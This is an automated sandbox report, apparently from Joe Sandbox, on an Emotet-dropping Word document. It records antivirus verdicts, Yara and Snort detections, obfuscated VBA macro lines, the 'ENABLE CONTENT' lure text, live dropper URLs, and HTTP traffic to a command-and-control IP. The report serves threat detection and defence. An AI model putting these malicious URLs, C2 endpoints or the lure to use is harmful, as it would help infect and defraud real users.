Analysis Report Archivo 3012 122020 276701.doc

AV Detection:

Antivirus detection for URL or domain

Source: https://www.bereketsutesisatcisi.com/wp-content/xhGs43c/	Avira URL Cloud: Label: phishing
Source: http://swiftlogisticseg.com/wp-admin/VE9h0jj/	Avira URL Cloud: Label: malware
Source: http://myphamjapan.com/dup-installer/db/	Avira URL Cloud: Label: phishing
Source: http://sahla-ad.com/wp-content/a/	Avira URL Cloud: Label: malware
Source: http://ngrehab.biz/wp-includes/TCWeeN/	Avira URL Cloud: Label: phishing
Source: https://astrologiaexistencial.com/l/L/	Avira URL Cloud: Label: malware
Source: https://bandarabbad.com/wp-admin/Lo5kEa/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: swiftlogisticseg.com	Virustotal: Detection: 9%			Perma Link
Source: https://www.bereketsutesisatcisi.com/wp-content/xhGs43c/	Virustotal: Detection: 10%			Perma Link
Source: http://swiftlogisticseg.com/wp-admin/VE9h0jj/	Virustotal: Detection: 16%			Perma Link
Source: http://myphamjapan.com/dup-installer/db/	Virustotal: Detection: 12%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll	Metadefender: Detection: 66%			Perma Link
Source: C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll	ReversingLabs: Detection: 82%

Multi AV Scanner detection for submitted file

Source: Archivo 3012 122020 276701.doc	Virustotal: Detection: 57%			Perma Link
Source: Archivo 3012 122020 276701.doc	Metadefender: Detection: 44%			Perma Link
Source: Archivo 3012 122020 276701.doc	ReversingLabs: Detection: 68%

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: B:\cliprgn_src\Release\ClipRgn.pdb source: rundll32.exe, 00000007.00000002.2109077452.0000000010042000.00000002.00020000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2101412645.00000000029F7000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2101309042.0000000002940000.00000002.00000001.sdmp

Spreading:

Contains functionality to enumerate / list files inside a directory

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100272AB FindFirstFileExW,FindNextFileW,FindClose,		7_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10026EEF FindFirstFileExW,		7_2_10026EEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_100272AB FindFirstFileExW,FindNextFileW,FindClose,		9_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10026EEF FindFirstFileExW,		9_2_10026EEF

Enumerates the file system

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini			Jump to behavior

Software Vulnerabilities:

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: swiftlogisticseg.com

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 35.214.159.46:80

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 35.214.159.46:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic

Snort IDS: 2404306 ET CNC Feodo Tracker Reported CnC Server TCP group 4 192.168.2.22:49168 -> 152.170.79.100:80

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in memory: http://swiftlogisticseg.com/wp-admin/VE9h0jj/
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in memory: http://sahla-ad.com/wp-content/a/
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in memory: http://myphamjapan.com/dup-installer/db/
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in memory: https://bandarabbad.com/wp-admin/Lo5kEa/
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in memory: http://ngrehab.biz/wp-includes/TCWeeN/
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in memory: https://www.bereketsutesisatcisi.com/wp-content/xhGs43c/
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in memory: https://astrologiaexistencial.com/l/L/

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /wp-admin/VE9h0jj/ HTTP/1.1Host: swiftlogisticseg.comConnection: Keep-Alive

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 152.170.79.100 152.170.79.100
Source: Joe Sandbox View	IP Address: 152.170.79.100 152.170.79.100
Source: Joe Sandbox View	IP Address: 35.214.159.46 35.214.159.46

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: TelecomArgentinaSAAR TelecomArgentinaSAAR
Source: Joe Sandbox View	ASN Name: GOOGLE-2US GOOGLE-2US

Uses a known web browser user agent for HTTP communication

Source: global traffic

HTTP traffic detected: POST /33wjxarr/4ph6t704u91pnssxqi/56hw26jb5vm/yt6kr0s/58j9f7jerowh66trm/ HTTP/1.1DNT: 0Referer: 152.170.79.100/33wjxarr/4ph6t704u91pnssxqi/56hw26jb5vm/yt6kr0s/58j9f7jerowh66trm/Content-Type: multipart/form-data; boundary=------------MwK0PCQYC0TZUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 152.170.79.100Content-Length: 7364Connection: Keep-AliveCache-Control: no-cache

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown	TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown	TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown	TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown	TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown	TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown	TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown	TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown	TCP traffic detected without corresponding DNS query: 152.170.79.100

Downloads files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A5D4ECFE-EB6B-4CC4-8C38-663EBE143117}.tmp

Jump to behavior

Downloads files from webservers via HTTP

Source: global traffic

HTTP traffic detected: GET /wp-admin/VE9h0jj/ HTTP/1.1Host: swiftlogisticseg.comConnection: Keep-Alive

Found strings which match to known social media urls

Source: rundll32.exe, 00000006.00000002.2109903291.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103645089.0000000001E20000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: swiftlogisticseg.com

Posts data to webserver

Source: unknown

HTTP traffic detected: POST /33wjxarr/4ph6t704u91pnssxqi/56hw26jb5vm/yt6kr0s/58j9f7jerowh66trm/ HTTP/1.1DNT: 0Referer: 152.170.79.100/33wjxarr/4ph6t704u91pnssxqi/56hw26jb5vm/yt6kr0s/58j9f7jerowh66trm/Content-Type: multipart/form-data; boundary=------------MwK0PCQYC0TZUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 152.170.79.100Content-Length: 7364Connection: Keep-AliveCache-Control: no-cache

Urls found in memory or binary data

Source: rundll32.exe, 00000007.00000002.2105044671.00000000023E0000.00000002.00000001.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: rundll32.exe, 00000006.00000002.2109903291.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103645089.0000000001E20000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2109903291.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103645089.0000000001E20000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000006.00000002.2110790551.0000000001D47000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103935255.0000000002007000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2110790551.0000000001D47000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103935255.0000000002007000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in binary or memory: http://myphamjapan.com/dup-installer/db/
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in binary or memory: http://ngrehab.biz/wp-includes/TCWeeN/
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in binary or memory: http://sahla-ad.com/wp-content/a/
Source: powershell.exe, 00000005.00000002.2100795615.0000000002290000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2107354488.0000000002C20000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.2124249696.0000000002CC0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000006.00000002.2110790551.0000000001D47000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103935255.0000000002007000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in binary or memory: http://swiftlogisticseg.com
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2107973522.000000001B56C000.00000004.00000001.sdmp	String found in binary or memory: http://swiftlogisticseg.com/wp-admin/VE9h0jj/
Source: rundll32.exe, 00000007.00000002.2105044671.00000000023E0000.00000002.00000001.sdmp	String found in binary or memory: http://treyresearch.net
Source: rundll32.exe, 00000007.00000002.2105044671.00000000023E0000.00000002.00000001.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: rundll32.exe, 00000006.00000002.2110790551.0000000001D47000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103935255.0000000002007000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2100795615.0000000002290000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2107354488.0000000002C20000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2109266873.0000000002C70000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.2124249696.0000000002CC0000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000007.00000002.2105044671.00000000023E0000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: rundll32.exe, 00000006.00000002.2109903291.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103645089.0000000001E20000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2110790551.0000000001D47000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103935255.0000000002007000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000007.00000002.2105044671.00000000023E0000.00000002.00000001.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: rundll32.exe, 00000006.00000002.2109903291.0000000001B60000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2103645089.0000000001E20000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2100136032.00000000003D5000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000005.00000002.2100136032.00000000003D5000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: rundll32.exe, 00000007.00000002.2103645089.0000000001E20000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in binary or memory: https://astrologiaexistencial.com/l/L/
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in binary or memory: https://bandarabbad.com/wp-admin/Lo5kEa/
Source: powershell.exe, 00000005.00000002.2105323092.0000000003723000.00000004.00000001.sdmp	String found in binary or memory: https://www.bereketsutesisatcisi.com/wp-content/xhGs43c/

E-Banking Fraud:

Yara detected Emotet

Source: Yara match	File source: 00000008.00000002.2104069951.0000000000160000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2353484979.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2114929747.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2108263450.0000000000321000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2122500336.0000000000201000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2118851629.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2113681102.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2116714094.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2106181826.0000000000201000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2110363600.0000000000241000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2113994416.0000000000321000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2112161307.0000000000280000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2104134560.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2121184937.0000000000120000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2108169058.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2114979695.00000000001A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2102745256.00000000001D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2110305990.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2106105474.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2353516556.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2112230608.00000000002E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2102620149.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2118784956.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2116776423.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 13.2.rundll32.exe.320000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.2e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.320000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.1a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.280000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page, I of I Words:
Source: Screenshot number: 4	Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4	Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page, I of I Words: 0 N@m 13 ;a 10096 G)
Source: Screenshot number: 8	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. O a
Source: Screenshot number: 8	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 8	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 8	Screenshot OCR: ENABLE CONTENT" buttons to preview this document. O a
Source: Document image extraction number: 0	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0	Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1	Screenshot OCR: ENABLE CONTENT" buttons to preview this document.

Document contains an embedded VBA macro with suspicious strings

Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set GfsQIDHId = CrIUuEVIH.CreateTextFile("K:\ognWFHGLH\axqgNAI.kcbGHdI")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set jrMbHDQr = PJYlEEF.CreateTextFile("K:\oOLBGHFK\nSNqy.gEYwBNWo")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set CBLCF = oszQNEreI.CreateTextFile("K:\tDviFIH\ilNUPECU.ONUyGDgIA")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set FXCRCWD = WKNfpvG.CreateTextFile("K:\KKTGHHu\ghSbCaHoE.DygEDF")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set kgtbFHFvR = JqISW.CreateTextFile("K:\mXyREIwEB\wcrIl.YvbPCbusm")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set msWXEBp = vmFjDDjj.CreateTextFile("K:\mOcEs\ESRgMUD.VVPjmIIJ")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set EPpeDIEG = IcGPFA.CreateTextFile("K:\MGZfBC\MMiCwUA.YZsuubAC")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set BIrUT = SgVGJCt.CreateTextFile("K:\JNrSx\WkzPD.KpvTVGG")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set LoXeDIGJV = RlYeuG.CreateTextFile("K:\CMfhVOODF\EBKHWC.AfAWH")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set CDrhirGD = nhmxhH.CreateTextFile("K:\cGIJJ\tSPoE.YIorA")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set oEyxHCIB = dhPCHmXl.CreateTextFile("K:\EYfeX\DEiMsF.XPHeF")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set dOxjNHIrD = iAOEfxJ.CreateTextFile("K:\aRMoPHDJG\ZSdZB.xWJfIE")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set AQHlDH = kUfjRHJq.CreateTextFile("K:\XYsyZGBad\FfOVJt.vYEgbtGJH")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set TeWCNM = fWXKBACA.CreateTextFile("K:\ApWBI\veUGbBE.NfHkfzEG")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set uUeXGC = UtOOHIG.CreateTextFile("K:\TmCiFXbBI\SNCrBtJ.LuIiDHlDI")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set EwUzBCJIv = moOsEFZJ.CreateTextFile("K:\gdthEyA\xkjDIGC.IEdQFB")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set yYOQv = DHtmJJOX.CreateTextFile("K:\TVzKJ\VpNXA.ZPqwa")
Source: Archivo 3012 122020 276701.doc	OLE, VBA macro line: Set iDJpHJ = IeCnBFn.CreateTextFile("K:\GPxCKeLBF\oKHCHmpdJ.TlXQC")
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set GfsQIDHId = CrIUuEVIH.CreateTextFile("K:\ognWFHGLH\axqgNAI.kcbGHdI")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set jrMbHDQr = PJYlEEF.CreateTextFile("K:\oOLBGHFK\nSNqy.gEYwBNWo")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set CBLCF = oszQNEreI.CreateTextFile("K:\tDviFIH\ilNUPECU.ONUyGDgIA")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set FXCRCWD = WKNfpvG.CreateTextFile("K:\KKTGHHu\ghSbCaHoE.DygEDF")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set kgtbFHFvR = JqISW.CreateTextFile("K:\mXyREIwEB\wcrIl.YvbPCbusm")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set msWXEBp = vmFjDDjj.CreateTextFile("K:\mOcEs\ESRgMUD.VVPjmIIJ")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set EPpeDIEG = IcGPFA.CreateTextFile("K:\MGZfBC\MMiCwUA.YZsuubAC")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set BIrUT = SgVGJCt.CreateTextFile("K:\JNrSx\WkzPD.KpvTVGG")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set LoXeDIGJV = RlYeuG.CreateTextFile("K:\CMfhVOODF\EBKHWC.AfAWH")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set CDrhirGD = nhmxhH.CreateTextFile("K:\cGIJJ\tSPoE.YIorA")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set oEyxHCIB = dhPCHmXl.CreateTextFile("K:\EYfeX\DEiMsF.XPHeF")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function R56_jx62hkjlsm, String createtextfile: Set dOxjNHIrD = iAOEfxJ.CreateTextFile("K:\aRMoPHDJG\ZSdZB.xWJfIE")			Name: R56_jx62hkjlsm
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function Kijlz_vipub2odr, String createtextfile: Set AQHlDH = kUfjRHJq.CreateTextFile("K:\XYsyZGBad\FfOVJt.vYEgbtGJH")			Name: Kijlz_vipub2odr
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function Kijlz_vipub2odr, String createtextfile: Set TeWCNM = fWXKBACA.CreateTextFile("K:\ApWBI\veUGbBE.NfHkfzEG")			Name: Kijlz_vipub2odr
Source: VBA code instrumentation	OLE, VBA macro: Module Zm6erye0ms_u, Function Kijlz_vipub2odr, String createtextfile: Set uUeXGC = UtOOHIG.CreateTextFile("K:\TmCiFXbBI\SNCrBtJ.LuIiDHlDI")			Name: Kijlz_vipub2odr
